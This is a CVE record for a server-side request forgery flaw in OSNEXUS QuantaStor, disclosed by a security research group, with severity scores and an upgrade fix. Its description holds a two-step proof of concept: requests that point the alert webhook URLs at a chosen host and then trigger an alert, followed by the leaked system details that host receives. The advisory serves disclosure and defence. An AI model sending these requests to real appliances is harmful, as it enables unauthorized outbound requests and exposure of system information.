{"dataType":"CVE_RECORD","dataVersion":"5.1","cveMetadata":{"cveId":"CVE-2021-42079","assignerOrgId":"b87402ff-ae37-4194-9dae-31abdbd6f217","state":"PUBLISHED","assignerShortName":"DIVD","dateReserved":"2021-10-07T17:12:57.677Z","datePublished":"2023-07-10T06:29:48.339Z","dateUpdated":"2025-09-22T06:40:03.059Z"},"containers":{"cna":{"affected":[{"collectionURL":"https://www.osnexus.com/downloads","defaultStatus":"unknown","platforms":["Windows","Linux"],"product":"QuantaStor","vendor":"OSNEXUS","versions":[{"lessThan":"6.0.0.355","status":"affected","version":"0","versionType":"semver"}]}],"credits":[{"lang":"en","type":"finder","value":"Wietse Boonstra (DIVD)"},{"lang":"en","type":"analyst","value":"Frank Breedijk (DIVD)"},{"lang":"en","type":"analyst","value":"Victor Pasman (DIVD)"},{"lang":"en","type":"analyst","value":"Victor Gevers (DIVD)"},{"lang":"en","type":"analyst","value":"Max van der Horst (DIVD)"},{"lang":"en","type":"analyst","value":"Célistine Oosting (DIVD)"}],"descriptions":[{"lang":"en","supportingMedia":[{"base64":false,"type":"text/html","value":"An authenticated administrator is able to prepare an alert that is able to execute an SSRF attack. This is exclusively with POST requests.<br><br>POC<br><br>Step 1: Prepare the SSRF with a request like this:<br><br><tt><span style=\"background-color: rgba(29, 28, 29, 0.04);\">GET /qstorapi/alertConfigSet?senderEmailAddress=a&amp;smtpServerIpAddress=BURPCOLLABHOST&amp;smtpServerPort=25&amp;smtpUsername=a&amp;smtpPassword=1&amp;smtpAuthType=1&amp;customerSupportEmailAddress=1&amp;poolFreeSpaceWarningThreshold=1&amp;poolFreeSpaceAlertThreshold=1&amp;poolFreeSpaceCriticalAlertThreshold=1&amp;pagerDutyServiceKey=1&amp;slackWebhookUrl=</span>http://&lt;target&gt;<span style=\"background-color: rgba(29, 28, 29, 0.04);\">&amp;enableAlertTypes&amp;enableAlertTypes=1&amp;disableAlertTypes=1&amp;pauseAlertTypes=1&amp;mattermostWebhookUrl=</span>http://&lt;TARGET&gt;<br><span style=\"background-color: rgba(29, 28, 29, 0.04);\">HTTP/1.1\n<br>Host: &lt;HOSTNAME&gt; <br>Accept-Encoding: gzip, deflate\n<br>Accept: */*\nAccept-Language: en\n<br>User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36<br>\nConnection: close\n<br>authorization: Basic &lt;BASIC_AUTH_HASH&gt; <br>Content-Type: application/json\n<br>Content-Length: 0</span></tt><br><tt><br>Step 2: Trigger this alert with this request<br><br><span style=\"background-color: rgba(29, 28, 29, 0.04);\">GET /qstorapi/alertRaise?title=test&amp;message=test&amp;severity=1 <br>HTTP/1.1\n<br>Host: &lt;HOSTNAME&gt; <br>Accept-Encoding: gzip, deflate\n<br>Accept: */*\n<br>Accept-Language: en\n<br>User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36\n<br>Connection: close\n<br>authorization: Basic &lt;BASIC_AUTH_HASH&gt; <br>Content-Type: application/json\n<br>Content-Length: 1<br><br></span></tt>The post request received by &lt;TARGET&gt; looks like this:<br><span style=\"background-color: rgba(29, 28, 29, 0.04);\">{<br> \n### Python FLASK stuff ####\n<br> 'endpoint': 'index', <br> \n'method': 'POST', <br> \n'cookies': ImmutableMultiDict([]), <br> \n### END Python FLASK stuff ####\n<br> \n'data': b'{ <br>  \"attachments\": [ <br>   {\n<br>    \"fallback\": \"[122] test / test.\",\n<br>    \"color\": \"#aa2222\",\n<br>    \"title\": \"[122] test\",\n<br>    \"text\": \"test\",\n<br>    \"fields\": [ &nbsp; <br>     { &nbsp; &nbsp;\n<br>      \"title\": \"Alert Severity\",\n     &nbsp; &nbsp;<br>      \"value\": \"CRITICAL\",\n     &nbsp; &nbsp;<br>      \"short\": false &nbsp;<br>     }, &nbsp;{ &nbsp; <br>      \"title\": \"Appliance\", &nbsp; &nbsp; <br>      \"value\": \"quantastor (</span>https://&lt;HOSTNAME&gt;<span style=\"background-color: rgba(29, 28, 29, 0.04);\">)\",\n  &nbsp; &nbsp; <br>      \"short\": true &nbsp;\n<br>     }, &nbsp;{ &nbsp; &nbsp;\n<br>      \"title\": \"System / Driver / Kernel Ver\", &nbsp; &nbsp;\n<br>      \"value\": \"5.10.0.156+a25eaacef / scst-3.5.0-pre / 5.3.0-62-generic\", &nbsp; &nbsp;\n<br>      \"short\": false &nbsp;\n<br>     }, &nbsp;{ &nbsp; &nbsp;\n<br>      \"title\": \"System Startup\", &nbsp; &nbsp;\n<br>      \"value\": \"Fri Aug &nbsp;6 16-02-55 2021\", &nbsp; &nbsp;\n<br>      \"short\": true &nbsp;\n<br>          }, &nbsp;{ &nbsp; &nbsp;\n<br>      \"title\": \"SSID\", &nbsp; &nbsp;\n<br>      \"value\": \"f4823762-1dd1-1333-47a0-6238c474a7e7\", &nbsp; &nbsp;\n<br>      \"short\": true &nbsp;\n<br>     },<br>    ],\n<br>    \"footer\": \"QuantaStor Call-home Alert\",\n<br>    \"footer_icon\": \"</span><a target=\"_blank\" rel=\"nofollow\" href=\"https://platform.slack-edge.com/img/default_application_icon.png\">https://platform.slack-edge.com/img/default_application_icon.png</a><span style=\"background-color: rgba(29, 28, 29, 0.04);\">\",\n<br>    \"ts\": 1628461774<br>   }<br>  ], <br>  \"mrkdwn\":true <br> }', <br> #### FLASK REQUEST STUFF #####\n<br> 'headers': {\n<br>  'Host': '&lt;redacted&gt;', <br>  'User-Agent': 'curl/7.58.0', <br>  'Accept': '*/*', <br>  'Content-Type': 'application/json', <br>  'Content-Length': '790'\n<br> }, <br> 'args': ImmutableMultiDict([]), <br> 'form': ImmutableMultiDict([]), <br> 'remote_addr': '217.103.63.173', <br> 'path': '/payload/58', <br> 'whois_ip': 'TNF-AS, NL'<br>}\n<br>#### END FLASK REQUEST STUFF #####</span><tt></tt>"}],"value":"An authenticated administrator is able to prepare an alert that is able to execute an SSRF attack. This is exclusively with POST requests.\n\nPOC\n\nStep 1: Prepare the SSRF with a request like this:\n\nGET /qstorapi/alertConfigSet?senderEmailAddress=a&smtpServerIpAddress=BURPCOLLABHOST&smtpServerPort=25&smtpUsername=a&smtpPassword=1&smtpAuthType=1&customerSupportEmailAddress=1&poolFreeSpaceWarningThreshold=1&poolFreeSpaceAlertThreshold=1&poolFreeSpaceCriticalAlertThreshold=1&pagerDutyServiceKey=1&slackWebhookUrl=http://<target>&enableAlertTypes&enableAlertTypes=1&disableAlertTypes=1&pauseAlertTypes=1&mattermostWebhookUrl=http://<TARGET>\nHTTP/1.1\n\nHost: <HOSTNAME> \nAccept-Encoding: gzip, deflate\n\nAccept: */*\nAccept-Language: en\n\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36\n\nConnection: close\n\nauthorization: Basic <BASIC_AUTH_HASH> \nContent-Type: application/json\n\nContent-Length: 0\n\nStep 2: Trigger this alert with this request\n\nGET /qstorapi/alertRaise?title=test&message=test&severity=1 \nHTTP/1.1\n\nHost: <HOSTNAME> \nAccept-Encoding: gzip, deflate\n\nAccept: */*\n\nAccept-Language: en\n\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36\n\nConnection: close\n\nauthorization: Basic <BASIC_AUTH_HASH> \nContent-Type: application/json\n\nContent-Length: 1\n\nThe post request received by <TARGET> looks like this:\n{\n \n### Python FLASK stuff ####\n\n 'endpoint': 'index', \n \n'method': 'POST', \n \n'cookies': ImmutableMultiDict([]), \n \n### END Python FLASK stuff ####\n\n \n'data': b'{ \n  \"attachments\": [ \n   {\n\n    \"fallback\": \"[122] test / test.\",\n\n    \"color\": \"#aa2222\",\n\n    \"title\": \"[122] test\",\n\n    \"text\": \"test\",\n\n    \"fields\": [   \n     {    \n\n      \"title\": \"Alert Severity\",\n        \n      \"value\": \"CRITICAL\",\n        \n      \"short\": false  \n     },  {   \n      \"title\": \"Appliance\",     \n      \"value\": \"quantastor (https://<HOSTNAME>)\",\n      \n      \"short\": true  \n\n     },  {    \n\n      \"title\": \"System / Driver / Kernel Ver\",    \n\n      \"value\": \"5.10.0.156+a25eaacef / scst-3.5.0-pre / 5.3.0-62-generic\",    \n\n      \"short\": false  \n\n     },  {    \n\n      \"title\": \"System Startup\",    \n\n      \"value\": \"Fri Aug  6 16-02-55 2021\",    \n\n      \"short\": true  \n\n          },  {    \n\n      \"title\": \"SSID\",    \n\n      \"value\": \"f4823762-1dd1-1333-47a0-6238c474a7e7\",    \n\n      \"short\": true  \n\n     },\n    ],\n\n    \"footer\": \"QuantaStor Call-home Alert\",\n\n    \"footer_icon\": \" https://platform.slack-edge.com/img/default_application_icon.png \",\n\n    \"ts\": 1628461774\n   }\n  ], \n  \"mrkdwn\":true \n }', \n #### FLASK REQUEST STUFF #####\n\n 'headers': {\n\n  'Host': '<redacted>', \n  'User-Agent': 'curl/7.58.0', \n  'Accept': '*/*', \n  'Content-Type': 'application/json', \n  'Content-Length': '790'\n\n }, \n 'args': ImmutableMultiDict([]), \n 'form': ImmutableMultiDict([]), \n 'remote_addr': '217.103.63.173', \n 'path': '/payload/58', \n 'whois_ip': 'TNF-AS, NL'\n}\n\n#### END FLASK REQUEST STUFF #####"}],"metrics":[{"cvssV3_1":{"attackComplexity":"LOW","attackVector":"NETWORK","availabilityImpact":"NONE","baseScore":6.2,"baseSeverity":"MEDIUM","confidentialityImpact":"HIGH","integrityImpact":"NONE","privilegesRequired":"HIGH","scope":"CHANGED","userInteraction":"REQUIRED","vectorString":"CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:N/A:N","version":"3.1"},"format":"CVSS","scenarios":[{"lang":"en","value":"GENERAL"}]}],"problemTypes":[{"descriptions":[{"cweId":"CWE-918","description":"CWE-918 Server-Side Request Forgery (SSRF)","lang":"en","type":"CWE"}]}],"providerMetadata":{"orgId":"b87402ff-ae37-4194-9dae-31abdbd6f217","shortName":"DIVD","dateUpdated":"2025-09-22T06:40:03.059Z"},"references":[{"tags":["third-party-advisory","technical-description"],"url":"https://www.wbsec.nl/osnexus"},{"tags":["third-party-advisory","exploit","technical-description"],"url":"https://cisrt.divd.nl/DIVD-2021-00020/"},{"tags":["product"],"url":"https://www.osnexus.com/products/software-defined-storage"},{"tags":["third-party-advisory"],"url":"https://csirt.divd.nl/CVE-2021-42079"}],"solutions":[{"lang":"en","supportingMedia":[{"base64":false,"type":"text/html","value":"Upgrade to the latest version of OSNEXUS QuantaStor."}],"value":"Upgrade to the latest version of OSNEXUS QuantaStor."}],"source":{"discovery":"INTERNAL"},"title":"SSRF vulnerability in OSNEXUS QuantaStor before 6.0.0.355","x_generator":{"engine":"Vulnogram 0.1.0-dev"}},"adp":[{"providerMetadata":{"orgId":"af854a3a-2127-422b-91ae-364da2661108","shortName":"CVE","dateUpdated":"2024-08-04T03:22:25.855Z"},"title":"CVE Program Container","references":[{"url":"https://www.wbsec.nl/osnexus","tags":["third-party-advisory","x_transferred"]},{"url":"https://www.divd.nl/DIVD-2021-00020","tags":["third-party-advisory","x_transferred"]},{"url":"https://www.osnexus.com/products/software-defined-storage","tags":["product","x_transferred"]},{"url":"https://csirt.divd.nl/CVE-2021-42079","tags":["third-party-advisory","x_transferred"]}]},{"metrics":[{"other":{"type":"ssvc","content":{"timestamp":"2024-11-04T20:06:08.530050Z","id":"CVE-2021-42079","options":[{"Exploitation":"none"},{"Automatable":"no"},{"Technical Impact":"partial"}],"role":"CISA Coordinator","version":"2.0.3"}}}],"title":"CISA ADP Vulnrichment","providerMetadata":{"orgId":"134c704f-9b21-4f2e-91b3-4a467353bcc0","shortName":"CISA-ADP","dateUpdated":"2024-11-04T20:06:17.817Z"}}]}}